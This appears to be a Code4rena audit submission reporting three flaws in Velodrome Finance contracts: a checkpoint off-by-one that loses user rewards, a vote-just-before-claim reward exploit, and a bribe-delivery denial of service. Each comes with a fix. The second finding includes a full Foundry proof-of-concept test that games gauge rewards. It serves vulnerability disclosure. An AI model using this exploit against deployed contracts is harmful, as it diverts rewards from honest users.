Velodrome Finance contest - smiling_heretic's results

Lines of code

https://github.com/code-423n4/2022-05-velodrome/blob/7fda97c570b758bbfa7dd6724a336c43d4041740/contracts/contracts/Gauge.sol#L309

Vulnerability details

Impact

When a user interacts with a gauge and a new balance checkpoint is created (in storage of this gauge), then checkpoint.voted for this new checkpoint is always false.

Unless users are aware of this bug and call voter.poke after each interaction with the gauge or before claiming rewards, they will be unfairly missing rewards.

Proof of Concept

User Alice votes. That creates her first checkpoint with voted == true. Then she waits some time and deposits tokens to the same gauge. This creates another checkpoint. Boolean variable voted is calculated in this line:

bool prevVoteStatus = (_nCheckPoints > 0) ? checkpoints[account][_nCheckPoints].voted 

_nCheckPoints is index of a checkpoint that doesn’t yet exist, so checkpoints[account][_nCheckPoints].voted evaluates to false

Missing of rewards is caused by the following lines in earned function:

https://github.com/code-423n4/2022-05-velodrome/blob/7fda97c570b758bbfa7dd6724a336c43d4041740/contracts/contracts/Gauge.sol#L489-L490

https://github.com/code-423n4/2022-05-velodrome/blob/7fda97c570b758bbfa7dd6724a336c43d4041740/contracts/contracts/Gauge.sol#L499-L500

Tools Used

Tested in Foundry

Recommended Mitigation Steps

Change

bool prevVoteStatus = (_nCheckPoints > 0) ? checkpoints[account][_nCheckPoints].voted : false;

to

bool prevVoteStatus = (_nCheckPoints > 0) ? checkpoints[account][_nCheckPoints - 1].voted : false;

Last checkpoint has index _nCheckPoints - 1, not _nCheckPoints.

Lines of code

https://github.com/code-423n4/2022-05-velodrome/blob/7fda97c570b758bbfa7dd6724a336c43d4041740/contracts/contracts/Gauge.sol#L195 https://github.com/code-423n4/2022-05-velodrome/blob/7fda97c570b758bbfa7dd6724a336c43d4041740/contracts/contracts/Gauge.sol#L489-L490 https://github.com/code-423n4/2022-05-velodrome/blob/7fda97c570b758bbfa7dd6724a336c43d4041740/contracts/contracts/Gauge.sol#L499-L500

Vulnerability details

Impact

                if (cp0.voted) {
                    reward += cp0.balanceOf * (_rewardPerTokenStored1 - _rewardPerTokenStored0) / PRECISION;

this line in gauge.earned function looks like the intention here is to incentivize users to keep their escrow.balanceOfNft voted for this gauge.

However, it's enough to vote just before claiming rewards (even in the same transaction) and voter.reset just after receiving rewards to pass this if and get rewards for full period since last interaction with the gauge.

Proof of Concept

I'm pasting my test file:

pragma solidity 0.8.13;

import "./BaseTest.sol";

contract ExploitTest is BaseTest {
    VotingEscrow escrow;
    GaugeFactory gaugeFactory;
    BribeFactory bribeFactory;
    Voter voter;
    Gauge gauge;
    Bribe bribe;
    Pair pool;
    Minter minter;

    address alice = address(1);
    address bob = address(2);
    address charlie = address(3);

    function setUp() public {
        deployOwners();
        deployCoins();
        mintStables();

        uint256[] memory amounts = new uint256[](2);
        amounts[0] = 2 * TOKEN_1M; // use 1/2 for veNFT position
        amounts[1] = TOKEN_1M;
        mintVelo(owners, amounts);

        // give owner1 veVELO
        escrow = new VotingEscrow(address(VELO));
        VELO.approve(address(escrow), TOKEN_1M);
        escrow.create_lock(TOKEN_1M, 4 * 365 * 86400);

        deployPairFactoryAndRouter();
        deployPairWithOwner(address(owner));
        deployPairWithOwner(address(owner2));
        gaugeFactory = new GaugeFactory(address(factory));
        bribeFactory = new BribeFactory();
        voter = new Voter(
            address(escrow),
            address(factory),
            address(gaugeFactory),
            address(bribeFactory)
        );
        address[] memory tokens = new address[](4);
        tokens[0] = address(USDC);
        tokens[1] = address(FRAX);
        tokens[2] = address(DAI);
        tokens[3] = address(VELO);
        _deployMinter();
        voter.initialize(tokens, address(minter));
        escrow.setVoter(address(voter));
    }

    function testQuickVote() public {
        // mint tokens
        address _minter = VELO.minter();
        vm.startPrank(_minter);
        VELO.mint(alice, TOKEN_1M);
        VELO.mint(bob, TOKEN_1M);
        vm.stopPrank();

        DAI.mint(alice, TOKEN_1M);
        FRAX.mint(alice, TOKEN_1M);
        DAI.mint(bob, TOKEN_1M);
        FRAX.mint(bob, TOKEN_1M);

        // add liquidity
        _addLiquidity(alice);
        _addLiquidity(bob);
        // get contracts
        pool = Pair(factory.getPair(address(FRAX), address(DAI), true));
        gauge = Gauge(voter.createGauge(address(pool)));
        bribe = Bribe(gauge.bribe());

        // get veVELO nfts
        uint256 aliceTokenId = _depositToEscrow(alice);
        uint256 bobTokenId = _depositToEscrow(bob);
        vm.warp(block.timestamp + 20);
        vm.roll(block.number + 1);

        // add rewards
        _addRewardVeloToGauge(10 ether);

        // deposit to gauge
        _depositToGauge(alice, aliceTokenId);
        _depositToGauge(bob, bobTokenId);

        // honest Bob votes for full period
        // _vote(alice, aliceTokenId);
        _vote(bob, bobTokenId);

        // move to the rewards phase
        vm.warp(block.timestamp + 6 days);
        vm.roll(block.number + 1);

        // for some reason I need to add this line or else it reverts...
        _addRewardVeloToGauge(5 ether);

        // Alice votes just before claiming rewards
        _vote(alice, aliceTokenId);

        _claimRewards(alice);
        _claimRewards(bob);

        console.log("alice rewards received", VELO.balanceOf(alice));
        console.log("bob rewards received", VELO.balanceOf(bob));
    }

    function _deployMinter() public {
        RewardsDistributor rewardsDistributor = new RewardsDistributor(
            address(escrow)
        );
        minter = new Minter(
            address(voter),
            address(escrow),
            address(rewardsDistributor)
        );
        VELO.setMinter(address(minter));
        address[] memory claimants = new address[](0);
        uint256[] memory amounts = new uint256[](0);
        minter.initialize(claimants, amounts, 0);
    }

    function _addLiquidity(address user) public {
        vm.startPrank(user);
        DAI.approve(address(router), TOKEN_1M);
        FRAX.approve(address(router), TOKEN_1M);
        router.addLiquidity(
            address(FRAX),
            address(DAI),
            true,
            TOKEN_1M,
            TOKEN_1M,
            0,
            0,
            address(user),
            block.timestamp
        );
        vm.stopPrank();
    }

    function _depositToEscrow(address user) public returns (uint256) {
        vm.startPrank(user);
        VELO.approve(address(escrow), TOKEN_1M);
        uint256 tokenId = escrow.create_lock(TOKEN_1M, 4 * 365 * 86400);
        vm.stopPrank();
        return tokenId;
    }

    function _vote(address user, uint256 tokenId) public {
        vm.startPrank(user);
        address[] memory pools = new address[](1);
        uint256[] memory weights = new uint256[](1);
        pools[0] = address(pool);
        weights[0] = 1;

        voter.vote(tokenId, pools, weights);
        vm.stopPrank();
    }

    function _depositToGauge(address user, uint256 tokenId) public {
        vm.startPrank(user);
        pool.approve(address(gauge), pool.balanceOf(user));
        gauge.deposit(pool.balanceOf(user), tokenId);
        vm.stopPrank();
    }

    function _addRewardVeloToGauge(uint256 amount) public {
        address _minter = VELO.minter();
        vm.startPrank(_minter);
        VELO.mint(_minter, amount);
        VELO.approve(address(gauge), amount);
        gauge.notifyRewardAmount(address(VELO), amount);
        vm.stopPrank();
    }

    function _addRewardVeloToVoter(uint256 amount) public {
        address _minter = VELO.minter();
        vm.startPrank(_minter);
        VELO.mint(_minter, amount);
        VELO.approve(address(voter), amount);
        voter.notifyRewardAmount(amount);
        vm.stopPrank();
    }

    function _claimRewards(address user) public {
        vm.startPrank(user);

        address[] memory _tokens = new address[](1);
        _tokens[0] = address(VELO);
        gauge.getReward(user, _tokens);

        vm.stopPrank();
    }

    function _logCheckpoint(address user, uint256 checkpointIdx) public {
        (uint256 timestamp, uint256 balanceOf, bool voted) = gauge.checkpoints(
            user,
            checkpointIdx
        );
        console.log("printing checkpoint", checkpointIdx, "for user", user);
        console.log("timestamp", timestamp);
        console.log("balanceOf", balanceOf);
        console.log("voted", voted);
    }
}

Note, that Bob kept his votes for this gauge for full 6-day period but Alice just voted before claiming rewards. In logs, we can see that they both received the same (non-zero) amount of VELO tokens.

Alice can reset her votes in the same transaction after claiming rewards, if she decides to do so.

Tools Used

Foundry

Recommended Mitigation Steps

A partial solution would be to create a new checkpoint each time user's voted status changes (setVoteStatus is called) instead of overwriting the voted in last one.

However, even then, users can just assign very small weight to this gauge, and lock very little VELO, so I don't think this if statement helps with anything. I think, it's better to rethink how to incentivize users to vote for specific gauges.

Lines of code

https://github.com/code-423n4/2022-05-velodrome/blob/7fda97c570b758bbfa7dd6724a336c43d4041740/contracts/contracts/Bribe.sol#L83-L90 https://github.com/code-423n4/2022-05-velodrome/blob/7fda97c570b758bbfa7dd6724a336c43d4041740/contracts/contracts/Voter.sol#L327

Vulnerability details

Impact

DoS issues when users try to claim rewards.

Proof of Concept

tokenRewardsPerEpoch[token][adjustedTstamp] for a given epoch only increases when bribe.notifyRewardAmount is called and never decreases. Before it's called first time in a given epoch, this value should be equal to all fees accumulated in the bribe.

After bribe.deliverReward(token, epochStart) is called first time in the epoch, full balance of this token stored in the bribe should be transferred out to the gauge.

When this function is called 2nd time, it'll try to transfer tokenRewardsPerEpoch[token][adjustedTstamp] to gauge again, but it'll fail because the balance is already 0.

That is, unless someone has sent reward tokens to the bribe directly without notifyRewardAmount, or unless adjustedTstamp in notifyRewardAmount points to later epoch. But then we'd be transferring these tokens too early and there will be an DoS issue in next epoch.

This function is called when voter.distribute is called and voter.distribute is called every time gauge rewards are claimed (gauge.getReward).

After maybe sending some reward tokens with voter.notifyRewardAmount to increase voter.claimable to pass

if (_claimable > IGauge(_gauge).left(base) && _claimable / DURATION > 0) 

in voter.distribute, each attempt to claim rewards by users will fail because deliverBribes will revert.

I haven't tested it properly in foundry because 5 minutes until deadline but it should work.

Tools Used

Manual analysis

Recommended Mitigation Steps

Decrease tokenRewardsPerEpoch[token][adjustedTstamp] after transferring tokens from the bribe.